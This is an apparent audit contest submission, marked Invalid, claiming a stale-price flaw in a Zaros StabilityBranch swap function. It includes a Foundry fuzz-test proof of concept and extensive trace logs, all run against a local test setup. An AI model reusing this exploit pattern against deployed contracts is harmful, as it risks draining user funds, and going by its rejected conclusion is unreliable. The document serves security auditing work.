Part 2

Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Submission Details
Severity: high
Invalid

PriceStalenessRisk in fulfillSwap function/StabilityBranch.sol

Summary

Stale prices in the fulfillSwap function of the StabilityBranch contract can be exploited to execute swaps at outdated rates, leading to significant losses or gains depending on price movements.

Vulnerability details

The fulfillSwap function allows keepers to execute swaps using signed price data without validating the timestamp freshness:

function fulfillSwap(
address user,
uint128 requestId,
bytes calldata priceData,
address engine
) external onlyRegisteredSystemKeepers {
// load request for user by id
UsdTokenSwapConfig.SwapRequest storage request = UsdTokenSwapConfig.load().swapRequests[user][requestId];
// revert if already processed
if (request.processed) {
revert Errors.RequestAlreadyProcessed(user, requestId);
}
// if request dealine expired revert
ctx.deadline = request.deadline;
if (ctx.deadline < block.timestamp) {
revert Errors.SwapRequestExpired(user, requestId);
}
// set request processed to true
request.processed = true;
// get price from report in 18 dec
ctx.priceX18 = stabilityConfiguration.verifyOffchainPrice(priceData); // @audit No staleness check
// get amount out asset
ctx.amountIn = request.amountIn;
ctx.amountOutBeforeFeesX18 = getAmountOfAssetOut(ctx.vaultId, ud60x18(ctx.amountIn), ctx.priceX18);
...
}

Key issues:

No validation of price data timestamp

Only validates request expiry, not price staleness

verifyOffchainPrice() checks signature but not timestamp

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import { Base_Test } from "test/Base.t.sol";
import { Errors } from "@zaros/utils/Errors.sol";
import { StabilityBranch } from "@zaros/market-making/branches/StabilityBranch.sol";
import { UsdTokenSwapConfig } from "@zaros/market-making/leaves/UsdTokenSwapConfig.sol";
import { IERC4626 } from "@openzeppelin/interfaces/IERC4626.sol";
import { IPriceAdapter } from "@zaros/utils/PriceAdapter.sol";
import { ud60x18, UD60x18 } from "@prb-math/UD60x18.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { console } from "forge-std/console.sol";
import { Test } from "forge-std/Test.sol";
/**
* @title Price Staleness Risk Test
* @notice Tests vulnerability to stale price attacks in the StabilityBranch contract
* @dev When fulfilling swaps, stale prices can be used to get more favorable rates
* This test simulates an attack where a user:
* 1. Initiates a swap with normal price
* 2. Price changes significantly
* 3. Keeper executes swap with stale (old) price data
* 4. User receives more tokens than they should due to price difference
*/
contract PriceStalenessPoCTest is Base_Test {
function setUp() public virtual override {
Base_Test.setUp();
changePrank({ msgSender: users.owner.account });
createVaults(marketMakingEngine, INITIAL_VAULT_ID, FINAL_VAULT_ID, true, address(perpsEngine));
marketMakingEngine.configureEngine(address(marketMakingEngine), address(usdToken), true);
marketMakingEngine.configureUsdTokenSwapConfig(1, 30, 3600); // 1hr expiry
}
struct TestContext {
VaultConfig fuzzVaultConfig;
uint256 swapAmount;
bytes initialPriceData;
bytes stalePriceData;
address usdTokenSwapKeeper;
UD60x18 initialPrice;
UD60x18 stalePrice;
}
function testFuzz_PriceStalenessRisk(uint256 vaultId, uint256 priceDeviation) public {
TestContext memory ctx;
// Bound inputs to valid ranges
vaultId = bound(vaultId, INITIAL_VAULT_ID, FINAL_VAULT_ID);
ctx.fuzzVaultConfig = getFuzzVaultConfig(vaultId);
// Setup initial vault state
changePrank({ msgSender: users.naruto.account });
deal({
token: address(ctx.fuzzVaultConfig.asset),
to: ctx.fuzzVaultConfig.indexToken,
give: ctx.fuzzVaultConfig.depositCap
});
// Get current price and calculate maximum swap amount
ctx.initialPrice = IPriceAdapter(ctx.fuzzVaultConfig.priceAdapter).getPrice();
UD60x18 assetAmountX18 = ud60x18(IERC4626(ctx.fuzzVaultConfig.indexToken).totalAssets());
uint256 maxSwapAmount = assetAmountX18.mul(ctx.initialPrice).intoUint256();
// Bound parameters for testing
ctx.swapAmount = bound(maxSwapAmount / 2, 1e18, maxSwapAmount);
priceDeviation = bound(priceDeviation, 15e17, 3e18); // 150-300% deviation
// Calculate stale price and prepare price data
ctx.stalePrice = ctx.initialPrice.mul(ud60x18(priceDeviation));
ctx.initialPriceData = getMockedSignedReport(ctx.fuzzVaultConfig.streamId, ctx.initialPrice.intoUint256());
ctx.stalePriceData = getMockedSignedReport(ctx.fuzzVaultConfig.streamId, ctx.stalePrice.intoUint256());
// Setup user and initiate swap with normal price
deal({ token: address(usdToken), to: users.naruto.account, give: ctx.swapAmount });
initiateUsdSwap(uint128(ctx.fuzzVaultConfig.vaultId), uint128(ctx.swapAmount), 0);
// Switch to keeper and wait small time period
ctx.usdTokenSwapKeeper = usdTokenSwapKeepers[ctx.fuzzVaultConfig.asset];
changePrank({ msgSender: ctx.usdTokenSwapKeeper });
skip(10);
// Calculate expected vs actual amounts with price difference
uint256 expectedAmount = marketMakingEngine.getAmountOfAssetOut(
ctx.fuzzVaultConfig.vaultId,
ud60x18(ctx.swapAmount),
ctx.initialPrice
).intoUint256();
uint256 actualAmount = marketMakingEngine.getAmountOfAssetOut(
ctx.fuzzVaultConfig.vaultId,
ud60x18(ctx.swapAmount),
ctx.stalePrice
).intoUint256();
// Calculate deviation
uint256 deviationPct = ((expectedAmount > actualAmount ?
expectedAmount - actualAmount :
actualAmount - expectedAmount) * 100) / expectedAmount;
// Log results
console.log("Expected amount:", expectedAmount);
console.log("Actual amount with stale price:", actualAmount);
console.log("Deviation percentage:", deviationPct, "%");
// Verify significant price impact
require(deviationPct >= 30, "Price staleness should cause >30% deviation");
// Execute swap with stale price data
marketMakingEngine.fulfillSwap(
users.naruto.account,
1,
ctx.stalePriceData,
address(marketMakingEngine)
);
// Verify received amount matches predictions within tolerance
uint256 userBalance = IERC20(ctx.fuzzVaultConfig.asset).balanceOf(users.naruto.account);
uint256 expectedInAssetDecimals = actualAmount / (10 ** (18 - ctx.fuzzVaultConfig.decimals));
uint256 tolerance = (expectedInAssetDecimals * 5) / 100; // 5% tolerance
if (!(userBalance >= expectedInAssetDecimals - tolerance && userBalance <= expectedInAssetDecimals + tolerance)) {
console.log("Expected balance within:", expectedInAssetDecimals - tolerance, "to", expectedInAssetDecimals + tolerance);
console.log("Actual balance:", userBalance);
revert("Balance outside tolerance range");
}
}
}

PoC Results

forge test --match-test testFuzz_PriceStalenessRisk -vvvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠃] Compiling...
No files changed, compilation skipped
Ran 1 test for test/branches/StabilityBranch.t.sol:PriceStalenessPoCTest
[PASS] testFuzz_PriceStalenessRisk(uint256,uint256) (runs: 1002, μ: 692183, ~: 691821)
Logs:
UpgradeBranch: 0xb7af057b9d1eCe34226B73527D1FDf159E3e0BD0
LookupBranch: 0x27B3980C8d5fE66bE267d504Ab95b6BDC4db0A30
LiquidationBranch: 0x23b8fA2c90CBcFFE87852055A1F845235710327D
OrderBranch: 0xbF35afee2e60E5709AA4e4aeD2Bdc0dCD48077A8
PerpMarketBranch: 0xf48BA8ba127F1A4d2d7b150a25Bb838290a135c2
SettlementBranch: 0x97b16edc26e52653De87AdE33Fc812F6C71c635c
PerpsEngineConfigurationBranch: 0xe70E8dE3d87Bd50E05BB29e683379f0255ee85AC
TradingAccountBranch: 0x5062b89F95D66C010ea9585432a0B8b35dB4122C
PerpsEngineConfigurationHarness: 0x20BA9406f94735d5191F28882aE48Fc08423D009
MarginCollateralConfigurationHarness: 0x420B33764F9ab695addd6098db0730c8B33D7d02
MarketConfigurationHarness: 0x6dA36424D631fcc6fC8CC621B6d6d2A087D7CF17
MarketOrderHarness: 0xAfa7C646038C0692d9c8aFC262211aecC385d782
PerpMarketHarness: 0xe30B4c484bBD3D8eE9F4d2EFec3f87a9Fd02AA22
PositionHarness: 0x4C5f44874DeEF37438637949166E1761D534A9F9
SettlementConfigurationHarness: 0xB18C3B38D311B3CAEf248972F021CC0F3eE48544
TradingAccountHarness: 0xF3574595B613bCb893e17B86B78Eb755c11C7B39
USDC/USD Zaros Price Adapter - PriceAdapter deployed at: 0x7E10Be87160f39B3f0E7a606bBb5fd94dC949fA1
USDz/USD Zaros Price Adapter - PriceAdapter deployed at: 0x131b050d802eE67ad93f6a92cF693C4803CC3F80
WETH/USD Zaros Price Adapter - PriceAdapter deployed at: 0x3deA0bd0440Dc2684B673511B0619194265734bf
WEETH/USD Zaros Price Adapter - PriceAdapter deployed at: 0x7d7ffB6f90A274972Ac7F09E2756a8A290Db4208
WBTC/USD Zaros Price Adapter - PriceAdapter deployed at: 0x50795785161296B0A64914b4ee9285bAF70371Cd
WSTETH/USD Zaros Price Adapter - PriceAdapter deployed at: 0x79d9A4c85De4d2Dc256beb79fcB8d5f295e596E2
Zaros Perpetuals AMM USD - PriceAdapter deployed at: 0x885B853B0437188140D457dAA7375a699E34E9e3
USD Coin - PriceAdapter deployed at: 0xA6aB80C760EF3dde41c78eDb3ebf18dc403b6A68
Wrapped Ether - PriceAdapter deployed at: 0x37E4cEABeBb298d965a1D971a08c66BA9562EcE8
Wrapped BTC - PriceAdapter deployed at: 0xFC9526c221A88596628be1f881C531Fb676365F9
Wrapped liquid staked Ether 2.0 - PriceAdapter deployed at: 0xBbdf9cf343488489D15c99E190595d5d2C1819dE
Wrapped eETH - PriceAdapter deployed at: 0x5aec81e05D8Fc1e687Dd1020FA8F1d97292696EA
BTC/USD Zaros Price Adapter - PriceAdapter deployed at: 0x133d712FD347b106358D5BB861a6a4F9F23dE39e
ETH/USD Zaros Price Adapter - PriceAdapter deployed at: 0x36A35D16ed61906Bb68C8431A14c1B0b9F91e180
LINK/USD Zaros Price Adapter - PriceAdapter deployed at: 0xAC9F238E637F2B48507A2d6D983314b61F52D9FD
ARB/USD Zaros Price Adapter - PriceAdapter deployed at: 0x7A463a6B208ebBFE37Cd2B0211260Ac620297BDE
BNB/USD Zaros Price Adapter - PriceAdapter deployed at: 0x8F8E0c16Ab147D5B51a7282924E4Fb25F4189AaC
DOGE/USD Zaros Price Adapter - PriceAdapter deployed at: 0x406cF73869208138902A7399D6E400625305fFb6
SOL/USD Zaros Price Adapter - PriceAdapter deployed at: 0xb8F5d0cD54F3C50B1D83BA75420409403ff7f83D
MATIC/USD Zaros Price Adapter - PriceAdapter deployed at: 0xD00aD0dd3a8C195DcCd05a642cf1cFda1bF7D3a5
LTC/USD Zaros Price Adapter - PriceAdapter deployed at: 0x8E99E51C3C0FA6C58aFFec1707377cb420FE5604
FTM/USD Zaros Price Adapter - PriceAdapter deployed at: 0x7da60089Ff3e1beB78069E905b174201C259B2B6
changePrank is deprecated. Please use vm.startPrank instead.
changePrank is deprecated. Please use vm.startPrank instead.
UpgradeBranch: 0xA1F9Ac79B17D11b1C636e9bF566397385Ab946AF
CreditDelegationBranch: 0xB94cD301A55059345195ed2441f3314fa986995a
MarketMakingEnginConfigBranch: 0x200fb6D331F6c78D2C5DcAD770cf09aCDE9b14C1
VaultRouterBranch: 0x63A27f929B59D9847DB11417891D36058a5A8Ae7
FeeDistributionBranch: 0x894Ffc6ac8285937b6769D24487B0D383e98C987
StabilityBranch: 0x17fd108259544deB64249D8Eca47C651f3a45D8d
VaultHarness: 0xA6315C0ea989Ba6f541A4c6298f1C07d6b1809c8
WithdrawalRequestHarness: 0x5c2Cb7E7d0eCfb5d0b30178162D0b9D274cd077e
CollateralHarness: 0x2F5B7c200A9F94788c26696b9Ce963e3E1d93a3a
DistributionHarness: 0xAABE916790c57b676DFa4AbD50cdeA07073B9777
MarketHarness: 0xD30116ac9525d7335D7C731a9FBf4624975e9b20
MarketMakingEngineConfigurationHarness: 0x763d32e23401eAD917023881999Dbd38Aa76C25F
DexSwapStrategyHarness: 0x5366b36Bd8fe6EeFfB1C4673017a7b88901C8f4D
StabilityConfigurationHarness: 0x86b3Ced0366D9167861b13af100e7C48A62E8249
changePrank is deprecated. Please use vm.startPrank instead.
UniswapV3Adapter deployed at: 0xD9780D374255acE5F7C2CA90C54883D9B790Ab83
Asset swap config data set in UniswapV3Adapter: asset: 0x8392F9cC30c5e7b7E9095c746784573CAFD68432, decimals: 6, priceAdapter: 0xA6aB80C760EF3dde41c78eDb3ebf18dc403b6A68
Asset swap config data set in UniswapV3Adapter: asset: 0x901E3891D087117c61D7665E14FD1a09FbDDE8C6, decimals: 18, priceAdapter: 0x37E4cEABeBb298d965a1D971a08c66BA9562EcE8
Asset swap config data set in UniswapV3Adapter: asset: 0xda2e5518B192e5804F96049Ca51E9E4E59BCa3C6, decimals: 8, priceAdapter: 0xFC9526c221A88596628be1f881C531Fb676365F9
Asset swap config data set in UniswapV3Adapter: asset: 0xC0936F0e6A41689d33fEd49e31546222e8adf750, decimals: 18, priceAdapter: 0x5aec81e05D8Fc1e687Dd1020FA8F1d97292696EA
Asset swap config data set in UniswapV3Adapter: asset: 0x8c3aE1a8D635758eAEBbCC77ddC18F08749A707c, decimals: 18, priceAdapter: 0xBbdf9cf343488489D15c99E190595d5d2C1819dE
Uniswap V3 Swap Strategy configured in MarketMakingEngine: strategyId: 1, strategyAddress: 0xD9780D374255acE5F7C2CA90C54883D9B790Ab83
UniswapV2Adapter deployed at: 0xeCc923D1C8B0e4dAd3565408586C41C282474d3a
Asset swap config data set in UniswapV2Adapter: asset: 0x8392F9cC30c5e7b7E9095c746784573CAFD68432, decimals: 6, priceAdapter: 0xA6aB80C760EF3dde41c78eDb3ebf18dc403b6A68
Asset swap config data set in UniswapV2Adapter: asset: 0x901E3891D087117c61D7665E14FD1a09FbDDE8C6, decimals: 18, priceAdapter: 0x37E4cEABeBb298d965a1D971a08c66BA9562EcE8
Asset swap config data set in UniswapV2Adapter: asset: 0xda2e5518B192e5804F96049Ca51E9E4E59BCa3C6, decimals: 8, priceAdapter: 0xFC9526c221A88596628be1f881C531Fb676365F9
Asset swap config data set in UniswapV2Adapter: asset: 0xC0936F0e6A41689d33fEd49e31546222e8adf750, decimals: 18, priceAdapter: 0x5aec81e05D8Fc1e687Dd1020FA8F1d97292696EA
Asset swap config data set in UniswapV2Adapter: asset: 0x8c3aE1a8D635758eAEBbCC77ddC18F08749A707c, decimals: 18, priceAdapter: 0xBbdf9cf343488489D15c99E190595d5d2C1819dE
Uniswap V3 Swap Strategy configured in MarketMakingEngine: strategyId: 2, strategyAddress: 0xeCc923D1C8B0e4dAd3565408586C41C282474d3a
curveStrategyRouter deployed at: 0x5fc1a6188178D30EF70A6aB440a2707b9dc54E78
Asset swap config data set in CurveAdapter: asset: 0x8392F9cC30c5e7b7E9095c746784573CAFD68432, decimals: 6, priceAdapter: 0xA6aB80C760EF3dde41c78eDb3ebf18dc403b6A68
Asset swap config data set in CurveAdapter: asset: 0x901E3891D087117c61D7665E14FD1a09FbDDE8C6, decimals: 18, priceAdapter: 0x37E4cEABeBb298d965a1D971a08c66BA9562EcE8
Asset swap config data set in CurveAdapter: asset: 0xda2e5518B192e5804F96049Ca51E9E4E59BCa3C6, decimals: 8, priceAdapter: 0xFC9526c221A88596628be1f881C531Fb676365F9
Asset swap config data set in CurveAdapter: asset: 0xC0936F0e6A41689d33fEd49e31546222e8adf750, decimals: 18, priceAdapter: 0x5aec81e05D8Fc1e687Dd1020FA8F1d97292696EA
Asset swap config data set in CurveAdapter: asset: 0x8c3aE1a8D635758eAEBbCC77ddC18F08749A707c, decimals: 18, priceAdapter: 0xBbdf9cf343488489D15c99E190595d5d2C1819dE
Traces:
[870124] PriceStalenessPoCTest::testFuzz_PriceStalenessRisk(3850398823843520669481701201126526647693238265826039205510407166013137223681 [3.85e75], 20693 [2.069e4])
├─ [0] console::log("Bound result", 1) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Bound result", 1) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("changePrank is deprecated. Please use vm.startPrank instead.") [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229])
│ └─ ← [Return]
├─ [2582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::record()
│ └─ ← [Return]
├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::accesses(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750])
│ └─ ← [Return] [0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba], []
├─ [0] VM::load(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ emit WARNING_UninitedSlot(who: weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], slot: 90115191988934728700684632302256769083203784757599836787361306768335626117306 [9.011e76])
├─ [0] VM::load(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::store(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
│ └─ ← [Return]
├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]
├─ [0] VM::store(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba, 0x0000000000000000000000000000000000000000000000000000000000000000)
│ └─ ← [Return]
├─ emit SlotFound(who: weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], fsig: 0x70a08231, keysHash: 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba, slot: 90115191988934728700684632302256769083203784757599836787361306768335626117306 [9.011e76])
├─ [0] VM::load(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [0] VM::store(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba, 0x0000000000000000000000000000000000000000000000001bc16d674ec80000)
│ └─ ← [Return]
├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ └─ ← [Return] 2000000000000000000 [2e18]
├─ [30560] ERC1967Proxy::fallback() [staticcall]
│ ├─ [25688] PriceAdapter::getPrice() [delegatecall]
│ │ ├─ [2287] MockPriceFeed::decimals() [staticcall]
│ │ │ └─ ← [Return] 18
│ │ ├─ [2358] MockSequencerUptimeFeed::latestRoundData() [staticcall]
│ │ │ └─ ← [Return] 0, 0, 1, 1680220800 [1.68e9], 0
│ │ ├─ [2414] MockPriceFeed::latestRoundData() [staticcall]
│ │ │ └─ ← [Return] 0, 2000000000000000000000 [2e21], 0, 1680220800 [1.68e9], 0
│ │ ├─ [2300] MockPriceFeed::aggregator() [staticcall]
│ │ │ └─ ← [Return] MockAggregator: [0xC74EA6A8F32860Cce3B62a0f7C30512464BF9739]
│ │ ├─ [160] MockAggregator::minAnswer() [staticcall]
│ │ │ └─ ← [Return] 1999999999999999999999 [1.999e21]
│ │ ├─ [193] MockAggregator::maxAnswer() [staticcall]
│ │ │ └─ ← [Return] 2000000000000000000001 [2e21]
│ │ └─ ← [Return] 2000000000000000000000 [2e21]
│ └─ ← [Return] 2000000000000000000000 [2e21]
├─ [8221] ERC1967Proxy::fallback() [staticcall]
│ ├─ [3349] ZlpVault::totalAssets() [delegatecall]
│ │ ├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ └─ ← [Return] 2000000000000000000 [2e18]
│ └─ ← [Return] 2000000000000000000 [2e18]
├─ [0] console::log("Bound result", 2000000000000000000000 [2e21]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Bound result", 1500000000000020694 [1.5e18]) [staticcall]
│ └─ ← [Stop]
├─ [2583] USDz::balanceOf(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::record()
│ └─ ← [Return]
├─ [583] USDz::balanceOf(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::accesses(USDz: [0x6bE3C80660123c537088E68F032F44C061510731])
│ └─ ← [Return] [0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc], []
├─ [0] VM::load(USDz: [0x6bE3C80660123c537088E68F032F44C061510731], 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ emit WARNING_UninitedSlot(who: USDz: [0x6bE3C80660123c537088E68F032F44C061510731], slot: 17253419905260593075329270441976474840508986577177128640833442845820635365884 [1.725e76])
├─ [0] VM::load(USDz: [0x6bE3C80660123c537088E68F032F44C061510731], 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [583] USDz::balanceOf(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::store(USDz: [0x6bE3C80660123c537088E68F032F44C061510731], 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
│ └─ ← [Return]
├─ [583] USDz::balanceOf(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229]) [staticcall]
│ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]
├─ [0] VM::store(USDz: [0x6bE3C80660123c537088E68F032F44C061510731], 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc, 0x0000000000000000000000000000000000000000000000000000000000000000)
│ └─ ← [Return]
├─ emit SlotFound(who: USDz: [0x6bE3C80660123c537088E68F032F44C061510731], fsig: 0x70a08231, keysHash: 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc, slot: 17253419905260593075329270441976474840508986577177128640833442845820635365884 [1.725e76])
├─ [0] VM::load(USDz: [0x6bE3C80660123c537088E68F032F44C061510731], 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [0] VM::store(USDz: [0x6bE3C80660123c537088E68F032F44C061510731], 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc, 0x00000000000000000000000000000000000000000000006c6b935b8bbd400000)
│ └─ ← [Return]
├─ [583] USDz::balanceOf(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229]) [staticcall]
│ └─ ← [Return] 2000000000000000000000 [2e21]
├─ [168519] MarketMakingEngine::fallback([1], [2000000000000000000000 [2e21]], [0])
│ ├─ [163240] StabilityBranch::initiateSwap([1], [2000000000000000000000 [2e21]], [0]) [delegatecall]
│ │ ├─ [6560] ERC1967Proxy::fallback() [staticcall]
│ │ │ ├─ [6188] PriceAdapter::getPrice() [delegatecall]
│ │ │ │ ├─ [287] MockPriceFeed::decimals() [staticcall]
│ │ │ │ │ └─ ← [Return] 18
│ │ │ │ ├─ [358] MockSequencerUptimeFeed::latestRoundData() [staticcall]
│ │ │ │ │ └─ ← [Return] 0, 0, 1, 1680220800 [1.68e9], 0
│ │ │ │ ├─ [414] MockPriceFeed::latestRoundData() [staticcall]
│ │ │ │ │ └─ ← [Return] 0, 2000000000000000000000 [2e21], 0, 1680220800 [1.68e9], 0
│ │ │ │ ├─ [300] MockPriceFeed::aggregator() [staticcall]
│ │ │ │ │ └─ ← [Return] MockAggregator: [0xC74EA6A8F32860Cce3B62a0f7C30512464BF9739]
│ │ │ │ ├─ [160] MockAggregator::minAnswer() [staticcall]
│ │ │ │ │ └─ ← [Return] 1999999999999999999999 [1.999e21]
│ │ │ │ ├─ [193] MockAggregator::maxAnswer() [staticcall]
│ │ │ │ │ └─ ← [Return] 2000000000000000000001 [2e21]
│ │ │ │ └─ ← [Return] 2000000000000000000000 [2e21]
│ │ │ └─ ← [Return] 2000000000000000000000 [2e21]
│ │ ├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ ├─ [1721] ERC1967Proxy::fallback() [staticcall]
│ │ │ ├─ [1349] ZlpVault::totalAssets() [delegatecall]
│ │ │ │ ├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ ├─ [27640] USDz::transferFrom(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], 2000000000000000000000 [2e21])
│ │ │ ├─ emit Transfer(from: Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], to: MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], value: 2000000000000000000000 [2e21])
│ │ │ └─ ← [Return] true
│ │ ├─ emit LogInitiateSwap(caller: Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], requestId: 1, vaultId: 1, amountIn: 2000000000000000000000 [2e21], minAmountOut: 0, assetOut: weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], deadline: 1680224400 [1.68e9])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] console::log("changePrank is deprecated. Please use vm.startPrank instead.") [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(ERC1967Proxy: [0x6A0d71d1258c3fbB3E7B7a3145fec78565723353])
│ └─ ← [Return]
├─ [0] VM::getBlockTimestamp() [staticcall]
│ └─ ← [Return] 1680220800 [1.68e9]
├─ [0] VM::warp(1680220810 [1.68e9])
│ └─ ← [Return]
├─ [8851] MarketMakingEngine::fallback(1, 2000000000000000000000 [2e21], 2000000000000000000000 [2e21]) [staticcall]
│ ├─ [6099] StabilityBranch::getAmountOfAssetOut(1, 2000000000000000000000 [2e21], 2000000000000000000000 [2e21]) [delegatecall]
│ │ ├─ [1721] ERC1967Proxy::fallback() [staticcall]
│ │ │ ├─ [1349] ZlpVault::totalAssets() [delegatecall]
│ │ │ │ ├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ └─ ← [Return] 1000000000000000000 [1e18]
│ └─ ← [Return] 1000000000000000000 [1e18]
├─ [6851] MarketMakingEngine::fallback(1, 2000000000000000000000 [2e21], 3000000000000041388000 [3e21]) [staticcall]
│ ├─ [6099] StabilityBranch::getAmountOfAssetOut(1, 2000000000000000000000 [2e21], 3000000000000041388000 [3e21]) [delegatecall]
│ │ ├─ [1721] ERC1967Proxy::fallback() [staticcall]
│ │ │ ├─ [1349] ZlpVault::totalAssets() [delegatecall]
│ │ │ │ ├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ └─ ← [Return] 666666666666657469 [6.666e17]
│ └─ ← [Return] 666666666666657469 [6.666e17]
├─ [0] console::log("Expected amount:", 1000000000000000000 [1e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Actual amount with stale price:", 666666666666657469 [6.666e17]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Deviation percentage:", 33, "%") [staticcall]
│ └─ ← [Stop]
